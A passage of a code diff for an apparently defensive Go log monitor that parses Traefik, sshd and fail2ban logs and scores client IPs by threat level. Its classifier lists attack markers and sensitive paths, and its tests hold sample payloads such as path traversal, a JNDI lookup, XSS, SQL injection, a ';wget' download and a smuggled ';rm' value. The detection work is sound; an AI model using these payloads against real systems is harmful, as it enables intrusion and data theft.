return
|
||||
}
|
||||
if core.Ignored(r.Ignore, ev.IP) {
|
||||
return
|
||||
}
|
||||
if r.monitorTraffic(&ev) {
|
||||
s.lastEvent.Store(time.Now().Unix())
|
||||
r.St.Monitoring(ev.Time)
|
||||
return
|
||||
}
|
||||
if r.Monitor != nil && ev.Source == "traefik" && ev.UA != "" && r.Monitor.MatchString(ev.UA) && ev.Cat != core.OK && ev.Cat != core.NotFound {
|
||||
ev.Forged = true // UA claims to be a monitor but the request is an attack
|
||||
}
|
||||
s.lastEvent.Store(time.Now().Unix())
|
||||
r.enrich(&ev)
|
||||
if ev.E.Tool && ev.Weak && (ev.Cat == core.OK || ev.Cat == core.NotFound) {
|
||||
// cmd=, |sh, eval( only count together with an attack tool
|
||||
ev.Cat, ev.Weak = core.Exploit, false
|
||||
ev.Soft, ev.Strong = ev.Status < 400, ev.Status >= 400
|
||||
}
|
||||
r.St.Ingest(ev)
|
||||
if ev.Source == "traefik" && !ev.Forged && (ev.Cat == core.OK || ev.Cat == core.NotFound) {
|
||||
r.St.Traffic(ev)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// enrich fills the location and User-Agent facts of an event.
|
||||
func (r *Runner) enrich(ev *core.Event) {
|
||||
if r.Enr == nil {
|
||||
return
|
||||
}
|
||||
g := r.Enr.Geo(ev.IP)
|
||||
ev.E.CC, ev.E.City = g.CC, g.City
|
||||
if ev.UA != "" {
|
||||
u := r.Enr.UA(ev.UA)
|
||||
ev.E.Browser, ev.E.OS, ev.E.Device = u.Browser, u.OS, u.Device
|
||||
ev.E.Bot, ev.E.BotName = u.Bot, u.BotName
|
||||
ev.E.Tool = u.Device == "tool" || u.Tool != ""
|
||||
}
|
||||
}
|
||||
|
||||
// Start launches one goroutine per source. offsets are the saved positions.
|
||||
func (r *Runner) Start(ctx context.Context, offsets map[string]store.Offset, wg *sync.WaitGroup) {
|
||||
for _, s := range r.Sources {
|
||||
off := offsets[s.name]
|
||||
wg.Add(1)
|
||||
go func(s *source, off store.Offset) {
|
||||
defer wg.Done()
|
||||
defer func() {
|
||||
if p := recover(); p != nil {
|
||||
r.Log.Error("source stopped by a panic", "source", s.name, "panic", p)
|
||||
}
|
||||
}()
|
||||
h := r.handle(s)
|
||||
if off.Inode == 0 && off.Offset == 0 {
|
||||
s.backfilling.Store(true)
|
||||
for _, b := range tail.Backups(s.path) {
|
||||
if ctx.Err() != nil {
|
||||
break
|
||||
}
|
||||
locked := func(l []byte) { r.mu.Lock(); h(l); r.mu.Unlock() }
|
||||
if err := tail.ReadAll(b, maxLine, locked, func() { s.malformed.Add(1) }); err != nil {
|
||||
r.Log.Warn("backfill failed", "source", s.name, "file", b, "err", err)
|
||||
} else {
|
||||
r.Log.Info("backfilled", "source", s.name, "file", b)
|
||||
}
|
||||
}
|
||||
s.backfilling.Store(false)
|
||||
}
|
||||
f := tail.NewFollower(s.path, tail.Pos{Inode: off.Inode, Offset: off.Offset, FP: off.FP, FPLen: off.FPLen})
|
||||
f.MaxLine, f.Handle, f.Mu = maxLine, h, &r.mu
|
||||
f.Oversize = func() { s.malformed.Add(1) }
|
||||
s.fol.Store(f)
|
||||
f.Run(ctx)
|
||||
}(s, off)
|
||||
}
|
||||
}
|
||||
|
||||
// Save writes a snapshot consistent with the file offsets. It refuses while a
|
||||
// backfill is running (offsets would be missing and a restart would replay).
|
||||
func (r *Runner) Save() error {
|
||||
for _, s := range r.Sources {
|
||||
if s.backfilling.Load() {
|
||||
return errors.New("backfill in progress, snapshot skipped")
|
||||
}
|
||||
}
|
||||
if err := os.MkdirAll(r.DataDir, 0o700); err != nil {
|
||||
return err
|
||||
}
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
offs := map[string]store.Offset{}
|
||||
for _, s := range r.Sources {
|
||||
if f := s.fol.Load(); f != nil {
|
||||
p := f.Pos()
|
||||
offs[s.name] = store.Offset{Inode: p.Inode, Offset: p.Offset, FP: p.FP, FPLen: p.FPLen}
|
||||
}
|
||||
}
|
||||
return r.St.Save(SnapshotPath(r.DataDir), offs)
|
||||
}
|
||||
|
||||
// SnapshotPath is the state file inside the data directory.
|
||||
func SnapshotPath(dir string) string { return dir + "/urutau-state.gob" }
|
||||
@@ -0,0 +1,52 @@
|
||||
package app
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"encoding/base64"
|
||||
"encoding/hex"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
// Every token produced by the documented generators must be accepted:
|
||||
// a quality rule that rejects random output breaks deploys (crash loop).
|
||||
func TestCheckTokenAcceptsRandomTokens(t *testing.T) {
|
||||
gens := map[string]func() string{
|
||||
"hex32": func() string { return hex.EncodeToString(randBytes(32)) },
|
||||
"hex24": func() string { return hex.EncodeToString(randBytes(24)) },
|
||||
"b64-32": func() string { return base64.StdEncoding.EncodeToString(randBytes(32)) },
|
||||
"b64-48": func() string { return base64.StdEncoding.EncodeToString(randBytes(48)) },
|
||||
}
|
||||
for name, gen := range gens {
|
||||
for i := 0; i < 20000; i++ {
|
||||
tok := gen()
|
||||
if err := checkToken("T", tok); err != nil {
|
||||
t.Fatalf("%s token %q rejected: %v", name, tok, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestCheckTokenRejectsWeakTokens(t *testing.T) {
|
||||
for _, tok := range []string{
|
||||
strings.Repeat("a", 40),
|
||||
strings.Repeat("abcdefghijklmnop", 2),
|
||||
strings.Repeat("ab", 20),
|
||||
strings.Repeat("0123456789", 4),
|
||||
"abcdefghijklmnopqrstuvwxyzABCDEF",
|
||||
"zyxwvutsrqponmlkjihgfedcbaZYXWVU",
|
||||
"short",
|
||||
} {
|
||||
if err := checkToken("T", tok); err == nil {
|
||||
t.Errorf("weak token %q accepted", tok)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func randBytes(n int) []byte {
|
||||
b := make([]byte, n)
|
||||
if _, err := rand.Read(b); err != nil {
|
||||
panic(err)
|
||||
}
|
||||
return b
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
package app
|
||||
|
||||
// Version is the release version (SemVer). Release builds may override it with
|
||||
// -ldflags "-X .../internal/app.Version=...".
|
||||
var Version = "1.0.0"
|
||||
@@ -0,0 +1,155 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"net/url"
|
||||
"regexp"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// decode percent-decodes s up to twice (double encoding is a common evasion).
|
||||
func decode(s string) string {
|
||||
for i := 0; i < 2; i++ {
|
||||
d, err := url.QueryUnescape(s)
|
||||
if err != nil || d == s {
|
||||
break
|
||||
}
|
||||
s = d
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
// Class is the verdict on one web request.
|
||||
type Class struct {
|
||||
Cat Category
|
||||
// Soft: a scanner/exploit probe the server answered with 2xx/3xx. It may be
|
||||
// a false positive (SPA fallback, documentation page), so it weighs little.
|
||||
Soft bool
|
||||
// Strong: a high confidence exploit attempt that was refused (4xx/5xx).
|
||||
Strong bool
|
||||
// Weak: only a weak exploit marker (cmd=, |sh, eval(...)) matched. The runner
|
||||
// promotes it to an exploit when the User-Agent is an attack tool.
|
||||
Weak bool
|
||||
}
|
||||
|
||||
var strongMarkers = []string{
|
||||
"../", "..\\", "..;/", "%2e%2e", "/etc/passwd", "/etc/shadow", "/proc/self",
|
||||
"${jndi:", "<script", "union select", "union+select", "base64_decode", ";wget",
|
||||
"php://", "/bin/sh", "/bin/bash",
|
||||
}
|
||||
|
||||
var weakMarkers = []string{"cmd=", "|sh", "eval("}
|
||||
|
||||
var shellRe = regexp.MustCompile(`/shell(?:$|[/._?-])`)
|
||||
|
||||
func hasAny(markers []string, texts ...string) bool {
|
||||
for _, m := range markers {
|
||||
for _, t := range texts {
|
||||
if strings.Contains(t, m) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func isBrute(method, path string, status int) bool {
|
||||
if strings.Contains(path, "/xmlrpc.php") {
|
||||
return true
|
||||
}
|
||||
if method == "POST" && strings.HasSuffix(path, "/wp-login.php") {
|
||||
// 200 means the login form came back: wrong password. 302 is a success.
|
||||
return status == 200 || status == 401 || status == 403
|
||||
}
|
||||
return method == "POST" && status == 401
|
||||
}
|
||||
|
||||
// segment reports whether name appears in path as a whole path segment prefix
|
||||
// (followed by the end, "/", "." or "?"), so "/.git" matches "/.git/config"
|
||||
// but not "/.github/x".
|
||||
func segment(path, name string) bool {
|
||||
for from := 0; ; {
|
||||
i := strings.Index(path[from:], name)
|
||||
if i < 0 {
|
||||
return false
|
||||
}
|
||||
end := from + i + len(name)
|
||||
if end == len(path) || path[end] == '/' || path[end] == '.' || path[end] == '?' {
|
||||
return true
|
||||
}
|
||||
from = from + i + 1
|
||||
}
|
||||
}
|
||||
|
||||
// always sensitive, whatever the answer
|
||||
var sensitive = []string{"/.env", "/.git", "/.gitignore", "/.gitconfig", "/.git-credentials", "/.git-rewrite", "/.aws", "/.ssh", "/.svn", "/.hg", "/.vscode", "/.htaccess", "/.htpasswd", "/.ds_store", "/id_rsa"}
|
||||
var sensitiveSub = []string{"wp-config", "phpmyadmin", "/server-status", "/vendor/phpunit", "/cgi-bin/", "/wp-admin/install.php",
|
||||
"/boaform/", "/pma/", "/adminer", "/telescope/requests", "/_profiler"}
|
||||
|
||||
var backupExts = []string{".sql", ".bak", ".old", ".orig", ".swp", ".zip", ".tar.gz", ".tgz", ".7z", ".rar", ".tar", ".gz"}
|
||||
|
||||
// refused: only suspicious when the answer is 403/404, because the same paths
|
||||
// are legitimate on many sites when they exist (SPA config, actuator health,
|
||||
// documentation about phpinfo, downloadable archives).
|
||||
func refusedProbe(path string) bool {
|
||||
if path == "/config.json" || strings.HasSuffix(path, "/config.json") || segment(path, "/actuator") || strings.Contains(path, "phpinfo.php") ||
|
||||
strings.HasSuffix(path, "/phpinfo") {
|
||||
return true
|
||||
}
|
||||
for _, e := range backupExts {
|
||||
if strings.HasSuffix(path, e) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func isScanner(path string, status int) bool {
|
||||
for _, m := range sensitive {
|
||||
if segment(path, m) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
for _, m := range sensitiveSub {
|
||||
if strings.Contains(path, m) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
if status == 403 || status == 404 {
|
||||
if refusedProbe(path) || strings.Contains(path, "/wp-content/plugins/") && status == 404 {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// Classify classifies one web request.
|
||||
func Classify(method, rawPath string, status int) Class {
|
||||
raw := strings.ToLower(rawPath)
|
||||
dec := decode(raw)
|
||||
method = strings.ToUpper(method)
|
||||
refused := status >= 400
|
||||
if hasAny(strongMarkers, raw, dec) || shellRe.MatchString(dec) {
|
||||
return Class{Cat: Exploit, Soft: !refused, Strong: refused}
|
||||
}
|
||||
path := dec
|
||||
if i := strings.IndexAny(path, "?#"); i >= 0 {
|
||||
path = path[:i]
|
||||
}
|
||||
if isBrute(method, path, status) {
|
||||
return Class{Cat: BruteForce}
|
||||
}
|
||||
if isScanner(path, status) {
|
||||
return Class{Cat: Scanner, Soft: !refused}
|
||||
}
|
||||
c := Class{Cat: OK}
|
||||
if status >= 400 && status < 500 {
|
||||
c.Cat = NotFound
|
||||
}
|
||||
c.Weak = hasAny(weakMarkers, raw, dec)
|
||||
return c
|
||||
}
|
||||
|
||||
// ClassifyHTTP returns only the category of Classify.
|
||||
func ClassifyHTTP(method, rawPath string, status int) Category {
|
||||
return Classify(method, rawPath, status).Cat
|
||||
}
|
||||
@@ -0,0 +1,268 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"net/netip"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func TestClassifyHTTP(t *testing.T) {
|
||||
cases := []struct {
|
||||
method, path string
|
||||
status int
|
||||
want Category
|
||||
}{
|
||||
{"GET", "/", 200, OK},
|
||||
{"GET", "/blog/post", 200, OK},
|
||||
{"GET", "/foo", 404, NotFound},
|
||||
{"GET", "/img/x.png", 403, NotFound},
|
||||
{"GET", "/.env", 404, Scanner},
|
||||
{"GET", "/app/.env.local", 200, Scanner},
|
||||
{"GET", "/.git/config", 404, Scanner},
|
||||
{"GET", "/.aws/credentials", 404, Scanner},
|
||||
{"GET", "/wp-config.php.bak", 404, Scanner},
|
||||
{"GET", "/phpmyadmin/index.php", 404, Scanner},
|
||||
{"GET", "/phpinfo.php", 200, OK},
|
||||
{"GET", "/phpinfo.php", 404, Scanner},
|
||||
{"GET", "/server-status", 403, Scanner},
|
||||
{"GET", "/dump.sql", 200, OK},
|
||||
{"GET", "/dump.sql", 404, Scanner},
|
||||
{"GET", "/backup.zip", 200, OK},
|
||||
{"GET", "/backup.zip", 403, Scanner},
|
||||
{"GET", "/downloads/report.zip", 200, OK},
|
||||
{"GET", "/x.zip", 404, Scanner},
|
||||
{"GET", "/vendor/phpunit/src/Util/PHP/eval-stdin.php", 404, Scanner},
|
||||
{"GET", "/cgi-bin/luci", 404, Scanner},
|
||||
{"GET", "/actuator/env", 404, Scanner},
|
||||
{"GET", "/.DS_Store", 404, Scanner},
|
||||
{"GET", "/config.json", 404, Scanner},
|
||||
{"GET", "/config.json", 200, OK},
|
||||
{"GET", "/wp-admin/install.php", 200, Scanner},
|
||||
{"GET", "/wp-content/plugins/foo/readme.txt", 404, Scanner},
|
||||
{"GET", "/wp-content/plugins/foo/style.css", 200, OK},
|
||||
{"GET", "/index.php?file=../../etc/passwd", 200, Exploit},
|
||||
{"GET", "/a/%2e%2e/%2e%2e/b", 400, Exploit},
|
||||
{"GET", "/a/%252e%252e/b", 400, Exploit},
|
||||
{"GET", "/?q=${jndi:ldap://x/a}", 200, Exploit},
|
||||
{"GET", "/?q=<script>alert(1)</script>", 200, Exploit},
|
||||
{"GET", "/?id=1%20union%20select%201", 200, Exploit},
|
||||
{"GET", "/?x=base64_decode(abc)", 200, Exploit},
|
||||
{"GET", "/?x=a;wget http://e/x", 200, Exploit},
|
||||
{"GET", "/?cmd=id", 200, OK},
|
||||
{"GET", "/?a=eval(x)", 200, OK},
|
||||
{"GET", "/?f=php://input", 200, Exploit},
|
||||
{"GET", "/shell", 404, Exploit},
|
||||
{"GET", "/.github/workflows/x.yml", 200, OK},
|
||||
{"GET", "/.git", 404, Scanner},
|
||||
{"GET", "/assets/site.zip", 200, OK},
|
||||
{"GET", "/downloads/db.tar.gz", 200, OK},
|
||||
{"GET", "/app?cmd=build", 200, OK},
|
||||
{"GET", "/blog/how-to-use-|sh", 200, OK},
|
||||
{"GET", "/actuator/health", 200, OK},
|
||||
{"GET", "/docs/phpinfo-explained", 200, OK},
|
||||
{"GET", "/shell.php", 404, Exploit},
|
||||
{"GET", "/shellfish", 200, OK},
|
||||
{"POST", "/wp-login.php", 200, BruteForce},
|
||||
{"POST", "/wp-login.php", 302, OK},
|
||||
{"GET", "/wp-login.php", 200, OK},
|
||||
{"GET", "/xmlrpc.php", 405, BruteForce},
|
||||
{"POST", "/xmlrpc.php", 200, BruteForce},
|
||||
{"POST", "/api/login", 401, BruteForce},
|
||||
{"GET", "/api/me", 401, NotFound},
|
||||
}
|
||||
for _, c := range cases {
|
||||
if got := ClassifyHTTP(c.method, c.path, c.status); got != c.want {
|
||||
t.Errorf("%s %s %d: got %s want %s", c.method, c.path, c.status, got, c.want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseTraefik(t *testing.T) {
|
||||
line := `{"ClientAddr":"45.94.31.244:56918","ClientHost":"45.94.31.244","ClientPort":"56918","ClientUsername":"-","DownstreamContentSize":12602,"DownstreamStatus":200,"Duration":175244150,"RequestHost":"cienciaembarcada.com.br","RequestMethod":"POST","RequestPath":"/wp-login.php","RequestProtocol":"HTTP/1.1","RequestScheme":"https","RouterName":"https-0-fwl1r20xzp8uf2g48log9q49-wordpress-1870@docker","StartUTC":"2026-11-14T17:19:37.101916386Z","entryPointName":"https","request_User-Agent":"Mozilla/5.0","time":"2026-11-14T17:19:37Z"}`
|
||||
ev, err := ParseTraefik([]byte(line))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if ev.IP != "45.94.31.244" || ev.Cat != BruteForce || ev.Domain != "cienciaembarcada.com.br" || ev.UA != "Mozilla/5.0" || ev.Status != 200 {
|
||||
t.Fatalf("unexpected %+v", ev)
|
||||
}
|
||||
if !ev.Time.Equal(time.Date(2026, 11, 14, 17, 19, 37, 101916386, time.UTC)) {
|
||||
t.Fatalf("time %v", ev.Time)
|
||||
}
|
||||
if _, err := ParseTraefik([]byte(`{not json`)); err == nil {
|
||||
t.Fatal("malformed must error")
|
||||
}
|
||||
if _, err := ParseTraefik([]byte(`{"ClientHost":"nope","StartUTC":"2026-11-14T17:19:37Z"}`)); !errors.Is(err, ErrIgnored) {
|
||||
t.Fatal("bad ip must be ignored")
|
||||
}
|
||||
ev, err = ParseTraefik([]byte(`{"ClientHost":"1.2.3.4","RequestPath":"/a\u0000b<img src=x onerror=alert(1)>","StartUTC":"2026-11-14T17:19:37Z","DownstreamStatus":404}`))
|
||||
if err != nil || ev.Cat != NotFound || ev.Path == "" {
|
||||
t.Fatalf("%+v %v", ev, err)
|
||||
}
|
||||
for _, r := range ev.Path {
|
||||
if r < 0x20 {
|
||||
t.Fatal("control char kept")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseAuth(t *testing.T) {
|
||||
pre := "2026-11-14T17:31:59.022281+00:00 host sshd[123]: "
|
||||
cases := []struct {
|
||||
msg string
|
||||
cat Category
|
||||
ip string
|
||||
user string
|
||||
skip bool
|
||||
}{
|
||||
{"Invalid user admin from 203.0.113.9 port 4444", SSHFail, "203.0.113.9", "admin", false},
|
||||
{"Connection closed by invalid user oracle 203.0.113.9 port 4445 [preauth]", SSHFail, "203.0.113.9", "oracle", false},
|
||||
{"Connection closed by authenticating user root 203.0.113.10 port 1 [preauth]", SSHFail, "203.0.113.10", "root", false},
|
||||
{"Failed password for invalid user test from 198.51.100.7 port 22 ssh2", SSHFail, "198.51.100.7", "test", false},
|
||||
{"Failed password for root from 198.51.100.7 port 22 ssh2", SSHFail, "198.51.100.7", "root", false},
|
||||
{"Failed publickey for ubuntu from 198.51.100.8 port 22 ssh2: RSA SHA256:x", SSHFail, "198.51.100.8", "ubuntu", false},
|
||||
{"Disconnected from authenticating user root 198.51.100.7 port 22 [preauth]", SSHFail, "198.51.100.7", "root", false},
|
||||
{"error: kex_exchange_identification: Connection closed by remote host", "", "", "", true},
|
||||
{"Connection closed by 192.0.2.1 port 5555", SSHProbe, "192.0.2.1", "", false},
|
||||
{"Protocol major versions differ for 192.0.2.2 port 5: SSH-2.0 vs. SSH-1.5", SSHProbe, "192.0.2.2", "", false},
|
||||
{"Unable to negotiate with 192.0.2.3 port 6: no matching key exchange method found.", SSHProbe, "192.0.2.3", "", false},
|
||||
{"Accepted publickey for lucas from 2001:db8::1 port 5 ssh2: ED25519 SHA256:x", SSHOK, "2001:db8::1", "lucas", false},
|
||||
{"Server listening on 0.0.0.0 port 22.", "", "", "", true},
|
||||
{"Received disconnect from 1.1.1.1 port 5:11: Bye [preauth]", "", "", "", true},
|
||||
}
|
||||
for _, c := range cases {
|
||||
ev, err := ParseAuth(pre + c.msg)
|
||||
if c.skip {
|
||||
if !errors.Is(err, ErrIgnored) {
|
||||
t.Errorf("%q should be ignored, got %+v %v", c.msg, ev, err)
|
||||
}
|
||||
continue
|
||||
}
|
||||
if err != nil || ev.Cat != c.cat || ev.IP != c.ip || ev.User != c.user {
|
||||
t.Errorf("%q: %+v %v", c.msg, ev, err)
|
||||
}
|
||||
}
|
||||
ev, _ := ParseAuth(pre + "Invalid user a from 1.2.3.4 port 1")
|
||||
if !ev.Time.Equal(time.Date(2026, 11, 14, 17, 31, 59, 22281000, time.UTC)) {
|
||||
t.Fatalf("time %v", ev.Time)
|
||||
}
|
||||
if _, err := ParseAuth("2026-11-14T17:31:59+00:00 host cron[1]: x"); !errors.Is(err, ErrIgnored) {
|
||||
t.Fatal("non-sshd must be ignored")
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseFail2ban(t *testing.T) {
|
||||
ev, err := ParseFail2ban("2026-11-08 00:08:36,220 fail2ban.actions [1590587]: NOTICE [sshd] Ban 195.178.110.26")
|
||||
if err != nil || ev.Cat != Ban || ev.Jail != "sshd" || ev.IP != "195.178.110.26" || ev.Unban {
|
||||
t.Fatalf("%+v %v", ev, err)
|
||||
}
|
||||
ev, err = ParseFail2ban("2026-11-08 01:08:36,220 fail2ban.actions [1590587]: NOTICE [recidive] Unban 195.178.110.26")
|
||||
if err != nil || !ev.Unban || ev.Jail != "recidive" {
|
||||
t.Fatalf("%+v %v", ev, err)
|
||||
}
|
||||
ev, err = ParseFail2ban("2026-11-08 01:08:36,220 fail2ban.actions [1]: NOTICE [traefik-varredura] Restore Ban 1.2.3.4")
|
||||
if err != nil || !ev.Restore {
|
||||
t.Fatalf("%+v %v", ev, err)
|
||||
}
|
||||
if _, err := ParseFail2ban("2026-11-08 00:08:35,220 fail2ban.filter [1]: INFO [sshd] Found 1.2.3.4 - 2026"); !errors.Is(err, ErrIgnored) {
|
||||
t.Fatal("Found must be ignored")
|
||||
}
|
||||
}
|
||||
|
||||
func TestIgnoreAndLevels(t *testing.T) {
|
||||
p, err := ParseCIDRs("127.0.0.0/8,::1,10.0.0.0/8,172.16.0.0/12")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
for ip, want := range map[string]bool{"127.0.0.1": true, "::1": true, "10.1.2.3": true, "172.20.0.5": true, "172.32.0.1": false, "8.8.8.8": false} {
|
||||
if Ignored(p, ip) != want {
|
||||
t.Errorf("%s ignored=%v want %v", ip, !want, want)
|
||||
}
|
||||
}
|
||||
if LevelFor(49.9) != LevelSuspicious || LevelFor(50) != LevelHostile || LevelFor(10) != LevelSuspicious || LevelFor(9.9) != LevelLow {
|
||||
t.Fatal("levels")
|
||||
}
|
||||
}
|
||||
|
||||
func TestSoftStrongAndWeakVerdicts(t *testing.T) {
|
||||
c := Classify("GET", "/config.json", 404)
|
||||
if c.Cat != Scanner || c.Soft || c.Strong {
|
||||
t.Fatalf("refused scanner probe: %+v", c)
|
||||
}
|
||||
if c := Classify("GET", "/.env", 200); c.Cat != Scanner || !c.Soft {
|
||||
t.Fatalf("a 200 on /.env weighs little: %+v", c)
|
||||
}
|
||||
if c := Classify("GET", "/index.php?f=../../etc/passwd", 404); c.Cat != Exploit || !c.Strong || c.Soft {
|
||||
t.Fatalf("refused traversal is a strong signal: %+v", c)
|
||||
}
|
||||
if c := Classify("GET", "/?q=union+select+tutorial", 200); c.Strong || !c.Soft {
|
||||
t.Fatalf("a documentation search must not be a strong exploit: %+v", c)
|
||||
}
|
||||
if c := Classify("GET", "/app?cmd=build", 200); c.Cat != OK || !c.Weak {
|
||||
t.Fatalf("cmd= alone is only a weak marker: %+v", c)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSSHInjectionAndImpostors(t *testing.T) {
|
||||
pre := "2026-11-14T10:00:00.000000+00:00 h sshd[1]: "
|
||||
for _, c := range []struct{ msg, ip, user string }{
|
||||
{"Invalid user a from 8.8.8.8 port 1 x from 203.0.113.9 port 4444", "203.0.113.9", ""},
|
||||
{"Failed password for invalid user a from 8.8.8.8 port 1 x from 203.0.113.9 port 4444 ssh2", "203.0.113.9", ""},
|
||||
{"Failed password for a from 1.1.1.1 port 1 x from 203.0.113.9 port 4444 ssh2", "203.0.113.9", ""},
|
||||
{"Connection closed by invalid user x from 8.8.8.8 port 1 203.0.113.9 port 4 [preauth]", "203.0.113.9", ""},
|
||||
} {
|
||||
ev, err := ParseAuth(pre + c.msg)
|
||||
// the user would contain " from ": such lines are discarded outright, never attributed to the fake address
|
||||
if err == nil && (ev.IP == "8.8.8.8" || ev.IP == "1.1.1.1") {
|
||||
t.Errorf("%q attributed to the injected address %s", c.msg, ev.IP)
|
||||
}
|
||||
}
|
||||
ev, err := ParseAuth(pre + "Invalid user bob from 203.0.113.9 port 22")
|
||||
if err != nil || ev.IP != "203.0.113.9" || ev.User != "bob" {
|
||||
t.Fatalf("%+v %v", ev, err)
|
||||
}
|
||||
for _, l := range []string{
|
||||
`2026-11-14T10:00:00.000000+00:00 h bob: sshd: Invalid user x from 8.8.8.8 port 1`,
|
||||
`2026-11-14T10:00:00.000000+00:00 h sudo[12]: bob : TTY=pts/0 ; PWD=/ ; USER=root ; COMMAND=/bin/echo sshd: Failed password for root from 1.1.1.1 port 22 ssh2`,
|
||||
`2026-11-14T10:00:00.000000+00:00 h logger: sshd[1]: Invalid user x from 8.8.8.8 port 1`,
|
||||
`2026-11-14T10:00:00.000000+00:00 h xsshd[1]: Invalid user x from 8.8.8.8 port 1`,
|
||||
} {
|
||||
if ev, err := ParseAuth(l); err == nil {
|
||||
t.Errorf("impostor line accepted: %q -> %+v", l, ev)
|
||||
}
|
||||
}
|
||||
if ev, err := ParseAuth(pre + "Invalid user u from 2001:db8::1%zz#evil port 22"); err == nil {
|
||||
t.Fatalf("a zone must be rejected: %+v", ev)
|
||||
}
|
||||
}
|
||||
|
||||
func TestZonesAreRejectedEverywhere(t *testing.T) {
|
||||
for _, in := range []string{"fe80::1%x#;rm", "2001:db8::1%eth0\n8.8.8.8", "::1%x"} {
|
||||
if ip, ok := cleanIP(in); ok {
|
||||
t.Errorf("cleanIP(%q) = %q", in, ip)
|
||||
}
|
||||
}
|
||||
p, _ := ParseCIDRs("127.0.0.0/8,::1")
|
||||
if !Ignored(p, "::1%x") {
|
||||
t.Fatal("a zoned address must never be treated as a normal visitor")
|
||||
}
|
||||
if IsGlobal(netip.MustParseAddr("fe80::1%eth0")) {
|
||||
t.Fatal("zoned address is not global")
|
||||
}
|
||||
for _, a := range []string{"10.0.0.1", "127.0.0.1", "169.254.1.1", "224.0.0.1", "0.0.0.0", "100.64.0.1", "192.0.2.1", "203.0.113.7", "2001:db8::1", "::1", "fe80::1", "::ffff:10.0.0.1"} {
|
||||
if IsGlobal(netip.MustParseAddr(a)) {
|
||||
t.Errorf("%s must not be global", a)
|
||||
}
|
||||
}
|
||||
for _, a := range []string{"8.8.8.8", "45.94.31.4", "2606:4700::1111"} {
|
||||
if !IsGlobal(netip.MustParseAddr(a)) {
|
||||
t.Errorf("%s must be global", a)
|
||||
}
|
||||
}
|
||||
if LevelOf(500, false, false) != LevelSuspicious || LevelOf(500, true, false) != LevelHostile || LevelOf(500, true, true) != LevelLow {
|
||||
t.Fatal("LevelOf")
|
||||
}
|
||||
_ = strings.ToLower
|
||||
}
|
||||
@@ -0,0 +1,256 @@
|
||||
// Package core holds the event model, the classifier and the log parsers.
|
||||
package core
|
||||
|
||||
import (
|
||||
"net/netip"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Category is the kind of activity an event represents.
|
||||
type Category string
|
||||
|
||||
const (
|
||||
OK Category = "ok"
|
||||
NotFound Category = "notfound"
|
||||
Scanner Category = "scanner"
|
||||
Exploit Category = "exploit"
|
||||
BruteForce Category = "bruteforce"
|
||||
SSHFail Category = "ssh-fail"
|
||||
SSHProbe Category = "ssh-probe"
|
||||
SSHOK Category = "ssh-ok"
|
||||
Ban Category = "ban"
|
||||
)
|
||||
|
||||
// Categories lists every category in a stable order; the position is the index
|
||||
// used by the counters.
|
||||
var Categories = []Category{OK, NotFound, Scanner, Exploit, BruteForce, SSHFail, SSHProbe, SSHOK, Ban}
|
||||
|
||||
// NumCats is the number of categories.
|
||||
const NumCats = 9
|
||||
|
||||
// Index returns the counter index of the category, or -1.
|
||||
func (c Category) Index() int {
|
||||
for i, x := range Categories {
|
||||
if x == c {
|
||||
return i
|
||||
}
|
||||
}
|
||||
return -1
|
||||
}
|
||||
|
||||
// Weight is how much one event of the category adds to an IP score.
|
||||
func (c Category) Weight() float64 {
|
||||
switch c {
|
||||
case NotFound:
|
||||
return 0.2
|
||||
case Scanner:
|
||||
return 3
|
||||
case Exploit:
|
||||
return 8
|
||||
case BruteForce:
|
||||
return 2
|
||||
case SSHFail:
|
||||
return 2
|
||||
case SSHProbe:
|
||||
return 1
|
||||
case Ban:
|
||||
return 10
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
// IsHTTP reports whether the category counts as a web request.
|
||||
func (c Category) IsHTTP() bool {
|
||||
switch c {
|
||||
case OK, NotFound, Scanner, Exploit, BruteForce:
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// IsMalicious reports whether the category counts as malicious activity.
|
||||
func (c Category) IsMalicious() bool {
|
||||
switch c {
|
||||
case Scanner, Exploit, BruteForce, SSHFail, SSHProbe:
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// Level is the threat level derived from an IP score.
|
||||
type Level string
|
||||
|
||||
const (
|
||||
LevelLow Level = "low"
|
||||
LevelSuspicious Level = "suspicious"
|
||||
LevelHostile Level = "hostile"
|
||||
)
|
||||
|
||||
// Score thresholds.
|
||||
const (
|
||||
HostileScore = 50
|
||||
SuspiciousScore = 10
|
||||
)
|
||||
|
||||
// LevelOf is the threat level of an IP: hostile needs the score AND a strong
|
||||
// signal (attack-tool User-Agent, two distinct attack categories, a fail2ban
|
||||
// ban, or a high confidence exploit), and never applies to an address that
|
||||
// recently logged in over SSH (admin).
|
||||
func LevelOf(score float64, strong, admin bool) Level {
|
||||
l := LevelFor(score)
|
||||
if admin {
|
||||
return LevelLow
|
||||
}
|
||||
if l == LevelHostile && !strong {
